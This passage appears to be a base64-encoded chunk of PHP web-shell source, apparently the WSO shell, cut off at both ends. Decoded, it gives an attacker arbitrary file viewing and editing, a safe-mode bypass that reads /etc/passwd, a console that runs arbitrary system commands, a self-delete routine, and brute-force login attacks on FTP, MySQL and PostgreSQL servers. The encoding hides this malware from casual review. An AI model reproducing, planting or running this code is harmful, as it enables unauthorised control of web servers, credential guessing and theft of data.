bGUoJF9QT1NUWydwMSddKT93c29WaWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKTonLScp LicgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICcud3NvUGVybXNDb2xvcigkX1BPU1RbJ3AxJ10p LicgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFt ZSddLic8YnI+JzsKCWVjaG8gJzxzcGFuPkNyZWF0ZSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0t ZCBIOmk6cycsZmlsZWN0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+QWNjZXNzIHRpbWU6PC9z cGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlYXRpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bh bj5Nb2RpZnkgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkX1BP U1RbJ3AxJ10pKS4nPGJyPjxicj4nOwoJaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQoJCSRfUE9T VFsncDInXSA9ICd2aWV3JzsKCWlmKCBpc19maWxlKCRfUE9TVFsncDEnXSkgKQoJCSRtID0gYXJy YXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdD aG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKCWVsc2UKCQkkbSA9IGFycmF5KCdDaG1vZCcsICdS ZW5hbWUnLCAnVG91Y2gnKTsKCWZvcmVhY2goJG0gYXMgJHYpCgkJZWNobyAnPGEgaHJlZj0jIG9u Y2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPicuKChzdHJ0 b2xvd2VyKCR2KT09QCRfUE9TVFsncDInXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvYT4g JzsKCWVjaG8gJzxicj48YnI+JzsKCXN3aXRjaCgkX1BPU1RbJ3AyJ10pIHsKCQljYXNlICd2aWV3 JzoKCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JzsKCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEn XSwgJ3InKTsKCQkJaWYoJGZwKSB7CgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQoJCQkJCWVjaG8g aHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CgkJCQlAZmNsb3NlKCRmcCk7CgkJ CX0KCQkJZWNobyAnPC9wcmU+JzsKCQkJYnJlYWs7CgkJY2FzZSAnaGlnaGxpZ2h0JzoKCQkJaWYo IEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pICkgewoJCQkJZWNobyAnPGRpdiBjbGFzcz1tbDEg c3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNlMWUxZTE7Y29sb3I6YmxhY2s7Ij4nOwoJCQkJJGNv ZGUgPSBAaGlnaGxpZ2h0X2ZpbGUoJF9QT1NUWydwMSddLHRydWUpOwoJCQkJZWNobyBzdHJfcmVw bGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250Picp LCRjb2RlKS4nPC9kaXY+JzsKCQkJfQoJCQlicmVhazsKCQljYXNlICdjaG1vZCc6CgkJCWlmKCAh ZW1wdHkoJF9QT1NUWydwMyddKSApIHsKCQkJCSRwZXJtcyA9IDA7CgkJCQlmb3IoJGk9c3RybGVu KCRfUE9TVFsncDMnXSktMTskaT49MDstLSRpKQoJCQkJCSRwZXJtcyArPSAoaW50KSRfUE9TVFsn cDMnXVskaV0qcG93KDgsIChzdHJsZW4oJF9QT1NUWydwMyddKS0kaS0xKSk7CgkJCQlpZighQGNo bW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkKCQkJCQllY2hvICdDYW5cJ3Qgc2V0IHBlcm1pc3Np b25zITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7CgkJCX0K CQkJY2xlYXJzdGF0Y2FjaGUoKTsKCQkJZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZv cm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLmNobW9kLnZhbHVlKTtyZXR1 cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2htb2QgdmFsdWU9Iicuc3Vic3RyKHNw cmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncDEnXSkpLC00KS4nIj48aW5wdXQgdHlwZT1z dWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKCQkJYnJlYWs7CgkJY2FzZSAnZWRpdCc6CgkJCWlm KCAhaXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgewoJCQkJZWNobyAnRmlsZSBpc25cJ3Qgd3Jp dGVhYmxlJzsKCQkJCWJyZWFrOwoJCQl9CgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsK CQkJCSR0aW1lID0gQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pOwoJCQkJJF9QT1NUWydwMyddID0g c3Vic3RyKCRfUE9TVFsncDMnXSwxKTsKCQkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sInci KTsKCQkJCWlmKCRmcCkgewoJCQkJCUBmd3JpdGUoJGZwLCRfUE9TVFsncDMnXSk7CgkJCQkJQGZj bG9zZSgkZnApOwoJCQkJCWVjaG8gJ1NhdmVkITxicj48c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD4n OwoJCQkJCUB0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpOwoJCQkJfQoJCQl9CgkJCWVj aG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsXCcxXCcrdGhpcy50ZXh0 LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+ JzsKCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKCQkJaWYoJGZwKSB7CgkJCQl3 aGlsZSggIUBmZW9mKCRmcCkgKQoJCQkJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZw LCAxMDI0KSk7CgkJCQlAZmNsb3NlKCRmcCk7CgkJCX0KCQkJZWNobyAnPC90ZXh0YXJlYT48aW5w dXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKCQkJYnJlYWs7CgkJY2FzZSAnaGV4 ZHVtcCc6CgkJCSRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7CgkJCSRuID0g MDsKCQkJJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7CgkJCSRsZW4gPSBzdHJsZW4o JGMpOwoJCQlmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsKCQkJCSRoWzFdIC49IHNwcmludGYo JyUwMlgnLG9yZCgkY1skaV0pKS4nICc7CgkJCQlzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsKCQkJ CQljYXNlIDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwoJCQkJCWNhc2UgOTogICRoWzJdIC49ICcg JzsgYnJlYWs7CgkJCQkJY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKCQkJCQljYXNlIDEz OiAkaFsyXSAuPSAnICc7IGJyZWFrOwoJCQkJCWRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJl YWs7CgkJCQl9CgkJCQkkbisrOwoJCQkJaWYgKCRuID09IDMyKSB7CgkJCQkJJG4gPSAwOwoJCQkJ CWlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9 CgkJCQkJJGhbMV0gLj0gJzxicj4nOwoJCQkJCSRoWzJdIC49ICJcbiI7CgkJCQl9CgkJIAl9CgkJ CWVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMjIyMjIy Pjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFs OyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4Pjxw cmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxwcmU+Jy5odG1sc3Bl Y2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsKCQkJYnJlYWs7CgkJ Y2FzZSAncmVuYW1lJzoKCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewoJCQkJaWYoIUBy ZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKQoJCQkJCWVjaG8gJ0NhblwndCByZW5h bWUhPGJyPic7CgkJCQllbHNlCgkJCQkJZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInLnVybGVu Y29kZSgkX1BPU1RbJ3AzJ10pLiciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CgkJCX0KCQkJZWNobyAn PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLm5hbWUudmFsdWUpO3Jl dHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1uYW1lIHZhbHVlPSInLmh0bWxzcGVj aWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48 L2Zvcm0+JzsKCQkJYnJlYWs7CgkJY2FzZSAndG91Y2gnOgoJCQlpZiggIWVtcHR5KCRfUE9TVFsn cDMnXSkgKSB7CgkJCQkkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOwoJCQkJaWYoJHRp bWUpIHsKCQkJCQlpZighdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKSkKCQkJCQkJZWNo byAnRmFpbCEnOwoJCQkJCWVsc2UKCQkJCQkJZWNobyAnVG91Y2hlZCEnOwoJCQkJfSBlbHNlIGVj aG8gJ0JhZCB0aW1lIGZvcm1hdCEnOwoJCQl9CgkJCWNsZWFyc3RhdGNhY2hlKCk7CgkJCWVjaG8g JzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxs LG51bGwsdGhpcy50b3VjaC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBu YW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1Rb J3AxJ10pKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKCQkJYnJl YWs7Cgl9CgllY2hvICc8L2Rpdj4nOwoJd3NvRm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblNh ZmVNb2RlKCkgewoJJHRlbXA9Jyc7CglvYl9zdGFydCgpOwoJc3dpdGNoKCRfUE9TVFsncDEnXSkg ewoJCWNhc2UgMToKCQkJJHRlbXA9QHRlbXBuYW0oJHRlc3QsICdjeCcpOwoJCQlpZihAY29weSgi Y29tcHJlc3MuemxpYjovLyIuJF9QT1NUWydwMiddLCAkdGVtcCkpewoJCQkJZWNobyBAZmlsZV9n ZXRfY29udGVudHMoJHRlbXApOwoJCQkJdW5saW5rKCR0ZW1wKTsKCQkJfSBlbHNlCgkJCQllY2hv ICdTb3JyeS4uLiBDYW5cJ3Qgb3BlbiBmaWxlJzsKCQkJYnJlYWs7CgkJY2FzZSAyOgoJCQkkZmls ZXMgPSBnbG9iKCRfUE9TVFsncDInXS4nKicpOwoJCQlpZiggaXNfYXJyYXkoJGZpbGVzKSApCgkJ CQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKQoJCQkJCWVjaG8gJGZpbGVuYW1lLiJcbiI7 CgkJCWJyZWFrOwoJCWNhc2UgMzoKCQkJJGNoID0gY3VybF9pbml0KCJmaWxlOi8vIi4kX1BPU1Rb J3AyJ10uIlx4MDAiLnByZWdfcmVwbGFjZSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykp OwoJCQljdXJsX2V4ZWMoJGNoKTsKCQkJYnJlYWs7CgkJY2FzZSA0OgoJCQlpbmlfcmVzdG9yZSgi c2FmZV9tb2RlIik7CgkJCWluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsKCQkJaW5jbHVkZSgk X1BPU1RbJ3AyJ10pOwoJCQlicmVhazsKCQljYXNlIDU6CgkJCWZvcig7JF9QT1NUWydwMiddIDw9 ICRfUE9TVFsncDMnXTskX1BPU1RbJ3AyJ10rKykgewoJCQkJJHVpZCA9IEBwb3NpeF9nZXRwd3Vp ZCgkX1BPU1RbJ3AyJ10pOwoJCQkJaWYgKCR1aWQpCgkJCQkJZWNobyBqb2luKCc6JywkdWlkKS4i XG4iOwoJCQl9CgkJCWJyZWFrOwoJfQoJJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsKCXdzb0hlYWRl cigpOwoJZWNobyAnPGgxPlNhZmUgbW9kZSBieXBhc3M8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4n OwoJZWNobyAnPHNwYW4+Q29weSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2co bnVsbCxudWxsLCIxIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5 cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48 YnI+PHNwYW4+R2xvYiAobGlzdCBkaXIpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51 bGwsIjIiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0 IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bh bj5DdXJsIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjMi LHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9 cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5Jbmlf cmVzdG9yZSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI0 Iix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1l PXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+UG9z aXhfZ2V0cHd1aWQgKCJSZWFkIiAvZXRjL3Bhc3N3ZCk8L3NwYW4+PHRhYmxlPjxmb3JtIG9uc3Vi bWl0PVwnZyhudWxsLG51bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVlLHRoaXMucGFyYW0yLnZhbHVl KTtyZXR1cm4gZmFsc2U7XCc+PHRyPjx0ZD5Gcm9tPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBu YW1lPXBhcmFtMSB2YWx1ZT0wPjwvdGQ+PC90cj48dHI+PHRkPlRvPC90ZD48dGQ+PGlucHV0IHR5 cGU9dGV4dCBuYW1lPXBhcmFtMiB2YWx1ZT0xMDAwPjwvdGQ+PC90cj48L3RhYmxlPjxpbnB1dCB0 eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwoJaWYoJHRlbXApCgkJZWNobyAnPHByZSBj bGFzcz0ibWwxIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGlkPSJPdXRwdXQiPicuaHRtbHNwZWNp YWxjaGFycygkdGVtcCkuJzwvcHJlPic7CgllY2hvICc8L2Rpdj4nOwoJd3NvRm9vdGVyKCk7Cn0K CmZ1bmN0aW9uIGFjdGlvbkNvbnNvbGUoKSB7CglpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsK CQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7CgkJ b2Jfc3RhcnQoKTsKCQllY2hvICJkb2N1bWVudC5jZi5jbWQudmFsdWU9Jyc7XG4iOwoJCSR0ZW1w ID0gQGljb252KCRfUE9TVFsnY2hhcnNldCddLCAnVVRGLTgnLCBhZGRjc2xhc2hlcygiXG4kICIu JF9QT1NUWydwMSddLiJcbiIud3NvRXgoJF9QT1NUWydwMSddKSwiXG5cclx0XFwnXDAiKSk7CgkJ aWYocHJlZ19tYXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDEnXSwkbWF0Y2gpKQl7 CgkJCWlmKEBjaGRpcigkbWF0Y2hbMV0pKSB7CgkJCQkkR0xPQkFMU1snY3dkJ10gPSBAZ2V0Y3dk KCk7CgkJCQllY2hvICJkb2N1bWVudC5tZi5jLnZhbHVlPSciLiRHTE9CQUxTWydjd2QnXS4iJzsi OwoJCQl9CgkJfQoJCWVjaG8gImRvY3VtZW50LmNmLm91dHB1dC52YWx1ZSs9JyIuJHRlbXAuIic7 IjsKCQllY2hvICJkb2N1bWVudC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZG9jdW1lbnQuY2Yub3V0 cHV0LnNjcm9sbEhlaWdodDsiOwoJCSR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7CgkJZWNobyBzdHJs ZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsKCQlleGl0OwoJfQoJd3NvSGVhZGVyKCk7CiAgICBlY2hv ICI8c2NyaXB0PgppZih3aW5kb3cuRXZlbnQpIHdpbmRvdy5jYXB0dXJlRXZlbnRzKEV2ZW50LktF WURPV04pOwp2YXIgY21kcyA9IG5ldyBBcnJheSgnJyk7CnZhciBjdXIgPSAwOwpmdW5jdGlvbiBr cChlKSB7Cgl2YXIgbiA9ICh3aW5kb3cuRXZlbnQpID8gZS53aGljaCA6IGUua2V5Q29kZTsKCWlm KG4gPT0gMzgpIHsKCQljdXItLTsKCQlpZihjdXI+PTApCgkJCWRvY3VtZW50LmNmLmNtZC52YWx1 ZSA9IGNtZHNbY3VyXTsKCQllbHNlCgkJCWN1cisrOwoJfSBlbHNlIGlmKG4gPT0gNDApIHsKCQlj dXIrKzsKCQlpZihjdXIgPCBjbWRzLmxlbmd0aCkKCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0g Y21kc1tjdXJdOwoJCWVsc2UKCQkJY3VyLS07Cgl9Cn0KZnVuY3Rpb24gYWRkKGNtZCkgewoJY21k cy5wb3AoKTsKCWNtZHMucHVzaChjbWQpOwoJY21kcy5wdXNoKCcnKTsKCWN1ciA9IGNtZHMubGVu Z3RoLTE7Cn0KPC9zY3JpcHQ+IjsKCWVjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IGNsYXNzPWNv bnRlbnQ+PGZvcm0gbmFtZT1jZiBvbnN1Ym1pdD0iaWYoZG9jdW1lbnQuY2YuY21kLnZhbHVlPT1c J2NsZWFyXCcpe2RvY3VtZW50LmNmLm91dHB1dC52YWx1ZT1cJ1wnO2RvY3VtZW50LmNmLmNtZC52 YWx1ZT1cJ1wnO3JldHVybiBmYWxzZTt9YWRkKHRoaXMuY21kLnZhbHVlKTtpZih0aGlzLmFqYXgu Y2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jbWQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRo aXMuY21kLnZhbHVlKTt9IHJldHVybiBmYWxzZTsiPjxzZWxlY3QgbmFtZT1hbGlhcz4nOwoJZm9y ZWFjaCgkR0xPQkFMU1snYWxpYXNlcyddIGFzICRuID0+ICR2KSB7CgkJaWYoJHYgPT0gJycpIHsK CQkJZWNobyAnPG9wdGdyb3VwIGxhYmVsPSItJy5odG1sc3BlY2lhbGNoYXJzKCRuKS4nLSI+PC9v cHRncm91cD4nOwoJCQljb250aW51ZTsKCQl9CgkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1s c3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOwoJfQoJaWYoZW1wdHkoJF9QT1NU WydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkKCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVS WydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOwoJZWNobyAnPC9zZWxlY3Q+PGlucHV0IHR5 cGU9YnV0dG9uIG9uY2xpY2s9ImFkZChkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7aWYoZG9jdW1l bnQuY2YuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCxkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7 fWVsc2V7ZyhudWxsLG51bGwsZG9jdW1lbnQuY2YuYWxpYXMudmFsdWUpO30iIHZhbHVlPSI+PiI+ IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKEAkX1NFU1NJT05bbWQ1 KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNp bmcgQUpBWDxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJv cmRlci1ib3R0b206MDttYXJnaW46MDsiIHJlYWRvbmx5Pic7CglpZighZW1wdHkoJF9QT1NUWydw MSddKSkgewoJCWVjaG8gaHRtbHNwZWNpYWxjaGFycygiJCAiLiRfUE9TVFsncDEnXS4iXG4iLndz b0V4KCRfUE9TVFsncDEnXSkpOwoJfQoJZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT10ZXh0 IG5hbWU9Y21kIHN0eWxlPSJib3JkZXItdG9wOjA7d2lkdGg6MTAwJTttYXJnaW46MDsiIG9ua2V5 ZG93bj0ia3AoZXZlbnQpOyI+JzsKCWVjaG8gJzwvZm9ybT48L2Rpdj48c2NyaXB0PmRvY3VtZW50 LmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7Cgl3c29Gb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0 aW9uTG9nb3V0KCkgewoJdW5zZXQoJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10p XSk7CglkaWUoJycpOwp9CgpmdW5jdGlvbiBhY3Rpb25TZWxmUmVtb3ZlKCkgewoJCglpZigkX1BP U1RbJ3AxJ10gPT0gJ3llcycpCgkJaWYoQHVubGluayhwcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMu KiEnLCAnJywgX19GSUxFX18pKSkKCQkJZGllKCdTaGVsbCBoYXMgYmVlbiByZW1vdmVkJyk7CgkJ ZWxzZQoJCQllY2hvICd1bmxpbmsgZXJyb3IhJzsKICAgIGlmKCRfUE9TVFsncDEnXSAhPSAneWVz JykKICAgICAgICB3c29IZWFkZXIoKTsKCWVjaG8gJzxoMT5TdWljaWRlPC9oMT48ZGl2IGNsYXNz PWNvbnRlbnQ+UmVhbGx5IHdhbnQgdG8gcmVtb3ZlIHRoZSBzaGVsbD88YnI+PGEgaHJlZj0jIG9u Y2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8L2E+PC9kaXY+JzsKCXdzb0Zvb3Rlcigp Owp9CgpmdW5jdGlvbiBhY3Rpb25CcnV0ZWZvcmNlKCkgewoJd3NvSGVhZGVyKCk7CglpZiggaXNz ZXQoJF9QT1NUWydwcm90byddKSApIHsKCQllY2hvICc8aDE+UmVzdWx0czwvaDE+PGRpdiBjbGFz cz1jb250ZW50PjxzcGFuPlR5cGU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydw cm90byddKS4nIDxzcGFuPlNlcnZlcjo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1Rb J3NlcnZlciddKS4nPGJyPic7CgkJaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnZnRwJyApIHsKCQkJ ZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7CgkJCQkkZnAgPSBA ZnRwX2Nvbm5lY3QoJGlwLCAkcG9ydD8kcG9ydDoyMSk7CgkJCQlpZighJGZwKSByZXR1cm4gZmFs c2U7CgkJCQkkcmVzID0gQGZ0cF9sb2dpbigkZnAsICRsb2dpbiwgJHBhc3MpOwoJCQkJQGZ0cF9j bG9zZSgkZnApOwoJCQkJcmV0dXJuICRyZXM7CgkJCX0KCQl9IGVsc2VpZiggJF9QT1NUWydwcm90 byddID09ICdteXNxbCcgKSB7CgkJCWZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dp biwkcGFzcykgewoJCQkJJHJlcyA9IEBteXNxbF9jb25uZWN0KCRpcC4nOicuJHBvcnQ/JHBvcnQ6 MzMwNiwgJGxvZ2luLCAkcGFzcyk7CgkJCQlAbXlzcWxfY2xvc2UoJHJlcyk7CgkJCQlyZXR1cm4g JHJlczsKCQkJfQoJCX0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ3Bnc3FsJyApIHsKCQkJ ZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7CgkJCQkkc3RyID0g Imhvc3Q9JyIuJGlwLiInIHBvcnQ9JyIuJHBvcnQuIicgdXNlcj0nIi4kbG9naW4uIicgcGFzc3dv cmQ9JyIuJHBhc3MuIicgZGJuYW1lPXBvc3RncmVzIjsKCQkJCSRyZXMgPSBAcGdfY29ubmVjdCgk c3RyKTsKCQkJCUBwZ19jbG9zZSgkcmVzKTsKCQkJCXJldHVybiAkcmVzOwoJCQl9CgkJfQoJCSRz dWNjZXNzID0gMDsKCQkkYXR0ZW1wdHMgPSAwOwoJCSRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9Q T1NUWydzZXJ2ZXInXSk7CgkJaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgewoJCQkkdGVtcCA9IEBm aWxlKCcvZXRjL3Bhc3N3ZCcpOwoJCQlpZiggaXNfYXJyYXkoJHRlbXApICkKCQkJCWZvcmVhY2go JHRlbXAgYXMgJGxpbmUpIHsKCQkJCQkkbGluZSA9IGV4cGxvZGUoIjoiLCAkbGluZSk7CgkJCQkJ KyskYXR0ZW1wdHM7CgkJCQkJaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0s ICRsaW5lWzBdLCAkbGluZVswXSkgKSB7CgkJCQkJCSRzdWNjZXNzKys7CgkJCQkJCWVjaG8gJzxi PicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRs aW5lWzBdKS4nPGJyPic7CgkJCQkJfQoJCQkJCWlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgewoJCQkJ CQkkdG1wID0gIiI7CgkJCQkJCWZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAtLSRp KQoJCQkJCQkJJHRtcCAuPSAkbGluZVswXVskaV07CgkJCQkJCSsrJGF0dGVtcHRzOwoJCQkJCQlp ZiggYnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkg ewoJCQkJCQkJJHN1Y2Nlc3MrKzsKCQkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygk bGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOwoJCQkJCQl9CgkJCQkJfQoJ CQkJfQoJCX0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsKCQkJJHRlbXAgPSBAZmlsZSgk X1BPU1RbJ2RpY3QnXSk7CgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQoJCQkJZm9yZWFjaCgkdGVt cCBhcyAkbGluZSkgewoJCQkJCSRsaW5lID0gdHJpbSgkbGluZSk7CgkJCQkJKyskYXR0ZW1wdHM7 CgkJCQkJaWYoIGJydXRlRm9yY2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dp biddLCAkbGluZSkgKSB7CgkJCQkJCSRzdWNjZXNzKys7CgkJCQkJCWVjaG8gJzxiPicuaHRtbHNw ZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGlu 